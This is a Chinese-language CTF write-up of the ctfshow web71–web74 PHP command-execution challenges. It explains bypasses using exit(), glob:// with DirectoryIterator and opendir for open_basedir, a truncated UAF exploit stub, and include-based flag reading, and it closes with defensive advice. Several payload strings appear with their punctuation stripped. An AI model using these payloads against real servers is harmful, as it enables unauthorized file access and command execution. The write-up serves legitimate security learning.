ctfshow-web进阶-命令执行绕过技巧(web71-web74)
1. 命令执行漏洞基础与CTF常见场景命令执行漏洞Command Execution是Web安全中一种高危漏洞它允许攻击者在服务器上执行任意系统命令。在CTF比赛中这类题目通常会模拟真实环境中开发者未对用户输入进行严格过滤的场景。我刚开始接触CTF时遇到的第一道命令执行题就是个典型例子题目只过滤了flag这个关键词但允许直接执行system函数。当时我傻乎乎地输入system(cat flag.php)结果页面返回一片空白——原来题目把输出内容中的字母数字都替换成了问号。这种看似能执行却看不到结果的情况在CTF中非常常见。PHP中常见的危险函数包括system()执行系统命令并输出结果exec()执行命令但不输出结果shell_exec()通过shell执行命令反引号与shell_exec等效passthru()直接输出命令执行结果2. web71exit()函数的妙用这道题的突破点在于输出缓冲区的处理。题目源码中使用了ob_get_contents()获取输出缓冲区内容然后用preg_replace替换所有字母数字为问号。但如果在命令执行后立即调用exit()就能提前终止脚本避免后续的替换操作。我实际测试时发现几个关键点exit()必须紧跟在有效操作后面使用include比直接读文件更可靠目录遍历时scandir()比ls更稳定有效payload示例// 列出根目录文件 cvar_export(scandir(/));exit(); // 包含flag文件 cinclude(/flag.txt);exit();这种绕过方式的本质是利用了PHP的执行流程控制。当exit()执行时它会立即终止当前脚本执行刷新所有输出缓冲区跳过后续所有代码逻辑3. web72open_basedir绕过技巧这道题新增了open_basedir限制它限定了PHP脚本能访问的目录范围。默认配置通常只允许访问/var/www/html及其子目录。我在实际渗透测试中遇到过多次这种情况有几种经典绕过方法3.1 glob://伪协议绕过glob://是PHP的一个伪协议它可以绕过部分目录限制。通过DirectoryIterator类可以遍历目录c$anew DirectoryIterator(glob:///*); foreach($a as $f) { echo($f-__toString(). ); } exit();这个payload的工作原理是创建DirectoryIterator实例扫描根目录遍历输出所有文件和目录名用exit()避免输出被污染3.2 UAF漏洞利用当常规方法失效时题目可能需要使用UAFUse After Free漏洞。下面这个经典payload利用了PHP的对象销毁机制c??php function pwn($cmd) { // 省略具体实现... // 包含内存操作和函数地址泄露 } pwn(cat /flag0.txt); ?这种方法的原理比较复杂简单来说通过PHP对象销毁触发UAF泄露内存中的函数地址构造虚假的闭包对象最终执行系统命令4. web73进阶目录遍历技巧这道题延续了之前的限制但flag位置变成了/flagc.txt。除了使用web72的方法还可以尝试4.1 直接数组索引访问cecho(scandir(/)[6]);exit();这种方法的优点是不需要复杂遍历直接定位目标文件适用于已知flag位置的情况4.2 include直接包含cinclude(/flagc.txt);exit(0);注意点文件路径必须是绝对路径文件内容必须是合法PHP代码如果flag是纯文本需要确保PHP不会将其当作代码解析5. web74终极绕过实战这道题禁用了scandir()函数但我们可以组合之前的技巧5.1 opendirglob组合c$aopendir(glob:///*); while(($filereaddir($a))!false){ echo $file.br; }; exit();5.2 文件包含终极方案cinclude(/flagx.txt);exit();在实际CTF比赛中我总结出几个通用原则先尝试最简单的include/require目录受限时用glob://伪协议输出受限时用exit()提前终止函数被禁时找替代方案如DirectoryIterator代替scandir6. 防御方案与实战建议从防御角度看开发者应该使用escapeshellarg()处理所有命令参数设置严格的open_basedir限制禁用危险函数在php.ini中设置disable_functions对输出内容进行适当编码对于CTF选手我建议熟记常见PHP危险函数掌握伪协议的各种用法了解PHP的异常处理机制积累各种绕过技巧的实际payload在真实渗透测试中命令执行漏洞的危害极大。我曾在一个实际案例中发现通过精心构造的命令可以绕过多层防御最终获取服务器权限。这也提醒我们在开发中必须对用户输入保持高度警惕。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2468818.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!